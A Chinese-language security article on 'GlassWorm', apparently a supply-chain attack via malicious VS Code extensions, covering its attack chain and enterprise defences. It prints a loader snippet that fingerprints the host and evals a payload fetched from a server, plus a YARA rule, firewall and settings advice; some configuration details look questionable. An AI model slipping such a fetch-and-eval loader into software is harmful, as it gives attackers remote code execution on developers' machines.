1. 供应链攻击新威胁:GlassWorm针对VS Code扩展的精准攻击
去年在审计某金融企业开发环境时,我偶然发现一个异常现象:开发团队普遍安装的VS Code Markdown插件竟然在后台悄悄上传项目目录结构。这个偶然发现让我开始系统性研究针对开发工具的供应链攻击,而GlassWorm正是这类攻击的最新进化形态。
与传统恶意软件不同,GlassWorm专门针对VS Code扩展市场设计攻击链。攻击者会先注册看似正常的开发者账号,提交功能实用的扩展(如代码格式化、语法高亮等),通过刷下载量提升排名。在获得足够用户基数后,通过自动更新机制推送恶意payload。由于VS Code扩展默认拥有对项目文件的完全访问权限,这种攻击能直接窃取核心业务代码和敏感配置。
关键发现:GlassWorm攻击包会检测运行环境,仅在特定企业IP段或存在.git/config文件时才激活恶意行为,极大增加了隐蔽性。
2. GlassWorm攻击链的技术拆解
2.1 攻击入口:恶意扩展的伪装技巧
攻击者通常选择开发辅助类扩展作为载体,比如:
- 代码片段管理工具
- 主题美化插件
- 小众语言支持包
这些扩展具有三个共同特征:
- 功能简单但实用,容易通过官方审核
- 依赖外部网络请求(为C2通信留后门)
- 申请了超出必要范围的权限(如workspace读写)
我逆向分析过一个伪装成Rust语言支持的恶意扩展,其package.json中声明了这些高危权限:
"capabilities": { "untrustedWorkspaces": { "supported": true }, "virtualWorkspaces": true }2.2 攻击载荷的递送机制
GlassWorm采用分阶段攻击策略:
- 初始版本仅包含基础功能,通过微软商店审核
- 用户安装后,扩展通过合法API检查更新
- 攻击者控制的服务端根据用户画像决定是否下发恶意模块
技术亮点在于其更新检测代码:
const fingerprint = crypto.createHash('sha256') .update(os.hostname() + process.env.USER) .digest('hex'); axios.get(`https://legit-update-server.com/check`, { headers: { 'X-Client-ID': fingerprint } }).then(response => { if(response.data.payload) { eval(response.data.payload); // 动态执行恶意代码 } });3. 企业级防御体系建设方案
3.1 扩展安全管控策略
在金融机构实施防御方案时,我总结出这套管控流程:
| 防护层级 | 具体措施 | 实施要点 |
|---|---|---|
| 预防层 | 建立内部扩展仓库 | 只允许安装经过安全扫描的扩展 |
| 检测层 | 网络流量监控 | 特别关注扩展进程的HTTPS请求 |
| 响应层 | 应急响应预案 | 包含开发环境隔离和密钥轮换流程 |
3.2 技术防护实施方案
推荐使用VS Code的强制代码审查模式,在settings.json中添加:
{ "extensions.supportUntrustedWorkspaces": false, "extensions.verifySignature": true, "security.workspace.trust.enabled": true }同时配置组策略限制扩展的网络访问:
New-NetFirewallRule -DisplayName "Block VSCode Extensions" ` -Direction Outbound ` -Program "Code.exe" ` -RemotePort 80,443 ` -Action Block4. 开发者个人防护实操指南
4.1 安全扩展选择原则
安装新扩展前务必检查:
- 开发者信誉(查看其他扩展评价)
- 更新频率(突然停止更新的要警惕)
- 权限需求(拒绝不必要的workspace访问)
建议使用这个命令检查已安装扩展的权限:
code --list-extensions | xargs -L 1 code --show-versions | grep -E 'extension|capabilities'4.2 可疑行为排查技巧
发现这些现象应立即卸载扩展:
- CPU/内存异常占用
- 频繁的磁盘写入
- 意外的网络连接
可以用Process Monitor监控扩展进程行为:
- 筛选器设置为"Process Name"包含"Code Helper"
- 重点关注文件系统和注册表操作
- 特别留意对.git/config的读取尝试
5. 行业协作防御建议
微软已开始加强扩展商店审核,但企业仍需建立纵深防御。我们团队开发的检测工具已开源,主要功能包括:
- 扩展行为沙箱分析
- 网络流量特征检测
- 恶意代码模式识别
典型检测规则示例(YARA规则):
rule GlassWorm_Loader { meta: description = "Detects GlassWorm style dynamic loading" strings: $eval = "eval(response.data)" nocase $dynamic_import = /import\(['"].*\.js['"]\)/ $obfuscated = /\(function\(\)\{.*\}\(\)\)/ condition: any of them }在最近一次攻防演练中,这套方案成功拦截了三个伪装成AI编程助手的恶意扩展。建议开发团队定期使用类似工具扫描开发环境,特别是CI/CD服务器上的VS Code实例。